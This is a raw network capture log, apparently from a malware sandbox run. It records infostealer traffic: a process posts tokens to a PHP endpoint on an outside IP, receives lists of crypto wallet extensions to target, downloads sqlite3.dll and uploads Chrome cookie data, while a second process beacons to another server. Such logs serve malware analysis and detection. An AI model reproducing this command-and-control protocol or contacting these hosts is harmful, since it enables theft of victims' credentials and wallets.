Jul 26, 2024 08:57:36.348870993 CEST	465	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAEHJJECAEGCAAAAEGIE Host: 85.28.47.31 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 63 61 39 33 61 32 64 37 66 66 36 31 65 62 30 38 34 62 66 34 62 36 62 63 33 31 36 33 38 63 36 62 61 33 31 32 37 66 39 65 35 33 39 39 39 65 62 39 37 32 61 39 38 65 39 61 64 38 63 37 66 38 33 66 64 34 33 34 65 66 37 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 45 2d 2d 0d 0a Data Ascii: ------DAEHJJECAEGCAAAAEGIEContent-Disposition: form-data; name="token"9ca93a2d7ff61eb084bf4b6bc31638c6ba3127f9e53999eb972a98e9ad8c7f83fd434ef7------DAEHJJECAEGCAAAAEGIEContent-Disposition: form-data; name="message"plugins------DAEHJJECAEGCAAAAEGIE--
Jul 26, 2024 08:57:36.531838894 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:57:36 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Jul 26, 2024 08:57:36.531888962 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Jul 26, 2024 08:57:36.531900883 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Jul 26, 2024 08:57:36.532047987 CEST	672	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Jul 26, 2024 08:57:36.532059908 CEST	1236	IN	Data Raw: 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 42 6a 61 47 35 6a 5a 57 56 70 63 47 6c 77 61 57 70 68 62 47 70 72 59 6d 78 69 59 32 39 69 62 48 77 78 66 44 42 38 4d 48 78 43 61 58 52 33 59 58 4a 6b 5a 57 35 38 62 6d 35 6e 59 32 Data Ascii: dGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfERhc2hsYW5lfGZkamFtYWtwZmJiZGRmamFvb2lrZmNwYXBqb2h
Jul 26, 2024 08:57:36.532071114 CEST	1236	IN	Data Raw: 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 42 6b 5a 32 78 6f 59 58 42 6f 62 47 52 68 61 32 6c 72 5a 32 56 6d 66 44 Data Ascii: cG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHw
Jul 26, 2024 08:57:36.532082081 CEST	492	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 52 75 5a 33 42 73 5a 6d 70 74 62 6d 39 76 63 48 42 69 59 32 78 72 61 33 77 78 66 44 42 38 4d 48 78 50 63 47 56 75 54 57 46 7a 61 79 42 58 59 57 78 73 5a 58 Data Ascii: IFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1
Jul 26, 2024 08:57:36.736139059 CEST	466	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIEBAFHJJDBGCAKJJKF Host: 85.28.47.31 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 49 45 42 41 46 48 4a 4a 44 42 47 43 41 4b 4a 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 63 61 39 33 61 32 64 37 66 66 36 31 65 62 30 38 34 62 66 34 62 36 62 63 33 31 36 33 38 63 36 62 61 33 31 32 37 66 39 65 35 33 39 39 39 65 62 39 37 32 61 39 38 65 39 61 64 38 63 37 66 38 33 66 64 34 33 34 65 66 37 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 42 41 46 48 4a 4a 44 42 47 43 41 4b 4a 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 42 41 46 48 4a 4a 44 42 47 43 41 4b 4a 4a 4b 46 2d 2d 0d 0a Data Ascii: ------CGIEBAFHJJDBGCAKJJKFContent-Disposition: form-data; name="token"9ca93a2d7ff61eb084bf4b6bc31638c6ba3127f9e53999eb972a98e9ad8c7f83fd434ef7------CGIEBAFHJJDBGCAKJJKFContent-Disposition: form-data; name="message"fplugins------CGIEBAFHJJDBGCAKJJKF--
Jul 26, 2024 08:57:36.915456057 CEST	335	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:57:36 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Jul 26, 2024 08:57:38.029683113 CEST	199	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKECBAKFBGDGCBGDBAEC Host: 85.28.47.31 Content-Length: 6567 Connection: Keep-Alive Cache-Control: no-cache
Jul 26, 2024 08:57:38.029683113 CEST	6567	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 43 42 41 4b 46 42 47 44 47 43 42 47 44 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 63 61 39 33 61 Data Ascii: ------BKECBAKFBGDGCBGDBAECContent-Disposition: form-data; name="token"9ca93a2d7ff61eb084bf4b6bc31638c6ba3127f9e53999eb972a98e9ad8c7f83fd434ef7------BKECBAKFBGDGCBGDBAECContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Jul 26, 2024 08:57:38.751857996 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:57:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 26, 2024 08:57:39.843789101 CEST	90	OUT	GET /8405906461a5200c/sqlite3.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 26, 2024 08:57:40.034612894 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:57:39 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Jul 26, 2024 08:57:40.034791946 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Jul 26, 2024 08:57:40.034827948 CEST	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Jul 26, 2024 08:57:43.760359049 CEST	949	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHDHIDAEHCFHJJJJECA Host: 85.28.47.31 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 63 61 39 33 61 32 64 37 66 66 36 31 65 62 30 38 34 62 66 34 62 36 62 63 33 31 36 33 38 63 36 62 61 33 31 32 37 66 39 65 35 33 39 39 39 65 62 39 37 32 61 39 38 65 39 61 64 38 63 37 66 38 33 66 64 34 33 34 65 66 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------KEHDHIDAEHCFHJJJJECAContent-Disposition: form-data; name="token"9ca93a2d7ff61eb084bf4b6bc31638c6ba3127f9e53999eb972a98e9ad8c7f83fd434ef7------KEHDHIDAEHCFHJJJJECAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------KEHDHIDAEHCFHJJJJECAContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwNzY1NDEJMVBfSkFSCTIwMjMtMTAtMDUtMDcKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjk1NzQwCU5JRAk1MTE9bk5hZHFXOXVUY1kwT1A2STNhZm5yNzFvNkV6YVlMc2RwVzRVRVlOM3ZZcV9yYlJyTkZ4TTFqb3pQR3Voak9SQlpLS016MnRkRHBWZTdkTnVUV3A0Q3lLLXp0NUlzNndWRWx2ZVdBZktRZ3dOSmlLS3RYSENDQ21ybGd6WlRsNUNpS2pUZUEyaVFxZjZ6bFJLMmg4d2cxaFZwSXNXc2FLcWFXSnlITVBGM0pBCg==------KEHDHIDAEHCFHJJJJECA--
Jul 26, 2024 08:57:44.117201090 CEST	949	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHDHIDAEHCFHJJJJECA Host: 85.28.47.31 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 63 61 39 33 61 32 64 37 66 66 36 31 65 62 30 38 34 62 66 34 62 36 62 63 33 31 36 33 38 63 36 62 61 33 31 32 37 66 39 65 35 33 39 39 39 65 62 39 37 32 61 39 38 65 39 61 64 38 63 37 66 38 33 66 64 34 33 34 65 66 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------KEHDHIDAEHCFHJJJJECAContent-Disposition: form-data; name="token"9ca93a2d7ff61eb084bf4b6bc31638c6ba3127f9e53999eb972a98e9ad8c7f83fd434ef7------KEHDHIDAEHCFHJJJJECAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------KEHDHIDAEHCFHJJJJECAContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwNzY1NDEJMVBfSkFSCTIwMjMtMTAtMDUtMDcKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjk1NzQwCU5JRAk1MTE9bk5hZHFXOXVUY1kwT1A2STNhZm5yNzFvNkV6YVlMc2RwVzRVRVlOM3ZZcV9yYlJyTkZ4TTFqb3pQR3Voak9SQlpLS016MnRkRHBWZTdkTnVUV3A0Q3lLLXp0NUlzNndWRWx2ZVdBZktRZ3dOSmlLS3RYSENDQ21ybGd6WlRsNUNpS2pUZUEyaVFxZjZ6bFJLMmg4d2cxaFZwSXNXc2FLcWFXSnlITVBGM0pBCg==------KEHDHIDAEHCFHJJJJECA--
Jul 26, 2024 08:57:45.127033949 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:57:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 26, 2024 08:57:45.205406904 CEST	561	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDBKFHIJKJKECAAAECA Host: 85.28.47.31 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 63 61 39 33 61 32 64 37 66 66 36 31 65 62 30 38 34 62 66 34 62 36 62 63 33 31 36 33 38 63 36 62 61 33 31 32 37 66 39 65 35 33 39 39 39 65 62 39 37 32 61 39 38 65 39 61 64 38 63 37 66 38 33 66 64 34 33 34 65 66 37 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GHDBKFHIJKJKECAAAECAContent-Disposition: form-data; name="token"9ca93a2d7ff61eb084bf4b6bc31638c6ba3127f9e53999eb972a98e9ad8c7f83fd434ef7------GHDBKFHIJKJKECAAAECAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GHDBKFHIJKJKECAAAECAContent-Disposition: form-data; name="file"------GHDBKFHIJKJKECAAAECA--
Jul 26, 2024 08:57:45.835452080 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:57:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49710	185.215.113.19	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:57:35.717394114 CEST	182	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 33 30 30 32 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000003002&unit=246122658369
Jul 26, 2024 08:57:36.515870094 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49711	185.215.113.19	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:57:37.050357103 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 08:57:37.623936892 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:57:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
